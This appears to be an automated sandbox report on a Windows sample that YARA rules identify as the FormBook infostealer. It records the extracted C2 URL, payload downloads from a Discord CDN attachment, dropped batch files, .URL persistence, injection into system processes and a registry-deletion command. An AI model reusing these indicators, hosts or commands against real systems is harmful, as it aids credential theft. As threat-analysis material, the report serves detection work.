Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000F.00000003.406017453.0000000003702000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdbk source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.406276057.000000000370E000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb{ source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 0000000F.00000003.406276057.000000000370E000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001D.00000003.497897039.0000000005137000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000000F.00000003.406022334.0000000003708000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb> source: WerFault.exe, 00000022.00000003.523781598.0000000004D01000.00000004.00000040.sdmp
Source:	Binary string: wkscli.pdbk source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp
Source:	Binary string: wkscli.pdb source: WerFault.exe, 0000000F.00000003.409219260.00000000057F3000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdbk source: WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001D.00000003.497875440.0000000005130000.00000004.00000040.sdmp
Source:	Binary string: mobsync.pdb source: WerFault.exe, 0000001D.00000003.497859249.0000000005331000.00000004.00000001.sdmp
Source:	Binary string: secinit.pdb source: WerFault.exe, 0000000F.00000003.409196797.0000000005701000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.523851702.0000000004BA1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdbk source: WerFault.exe, 00000022.00000003.523896029.0000000004D03000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000F.00000003.406017453.0000000003702000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then pop ebx	5_2_50486ABC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then pop edi	5_2_5048C3EF
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 4x nop then pop ebx	27_2_50486ABC
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 4x nop then pop edi	27_2_5048C3EF
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then pop ebx	32_2_50486ABC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then pop edi	32_2_5048C3EF

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.llaa11.xyz/scb0/

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	IP Address: 162.159.130.233 162.159.130.233
Source: Joe Sandbox View	IP Address: 162.159.130.233 162.159.130.233

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: WerFault.exe, 0000000F.00000002.431594497.00000000036D6000.00000004.00000020.sdmp, WerFault.exe, 0000001D.00000003.533064961.0000000004E05000.00000004.00000001.sdmp

String found in binary or memory: http://crl.globalsign.net/root-r2.crl0

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1User-Agent: lValiHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1User-Agent: asweHost: cdn.discordapp.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1User-Agent: asweHost: cdn.discordapp.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1User-Agent: asweHost: cdn.discordapp.comCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.6:49746 version: TLS 1.2

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: fTset285bI.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: C:\Users\Public\Libraries\zxdpbyQ.url, type: DROPPED	Matched rule: Methodology_Contains_Shortcut_OtherURIhandlers author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019

Source: C:\Windows\SysWOW64\secinit.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6840 -s 240

Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50481030	5_2_50481030
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049C086	5_2_5049C086
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049C988	5_2_5049C988
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50481209	5_2_50481209
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_5049BB80	5_2_5049BB80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50488C6B	5_2_50488C6B
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50488C70	5_2_50488C70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50482D87	5_2_50482D87
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50482D90	5_2_50482D90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 5_2_50482FB0	5_2_50482FB0
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50481030	27_2_50481030
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049C086	27_2_5049C086
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049C988	27_2_5049C988
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50481209	27_2_50481209
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_5049BB80	27_2_5049BB80
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50488C6B	27_2_50488C6B
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50488C70	27_2_50488C70
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50482D87	27_2_50482D87
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50482D90	27_2_50482D90
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 27_2_50482FB0	27_2_50482FB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_50481030	32_2_50481030
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049C086	32_2_5049C086
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049C988	32_2_5049C988
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_50481209	32_2_50481209
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_5049BB80	32_2_5049BB80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_50488C6B	32_2_50488C6B
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_50488C70	32_2_50488C70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_50482D87	32_2_50482D87
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_50482D90	32_2_50482D90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 32_2_50482FB0	32_2_50482FB0

Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 5049A4A0 appears 38 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 5049A370 appears 38 times

Source: fTset285bI.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: fTset285bI.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Qybpdxz.exe.0.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Qybpdxz.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f

Source: fTset285bI.exe	Virustotal: Detection: 28%
Source: fTset285bI.exe	ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\fTset285bI.exe

File read: C:\Users\user\Desktop\fTset285bI.exe

Jump to behavior

Source: C:\Users\user\Desktop\fTset285bI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fTset285bI.exe 'C:\Users\user\Desktop\fTset285bI.exe'
Source: C:\Users\user\Desktop\fTset285bI.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe
Source: C:\Users\user\Desktop\fTset285bI.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fTset285bI.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' '
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6840 -s 240
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
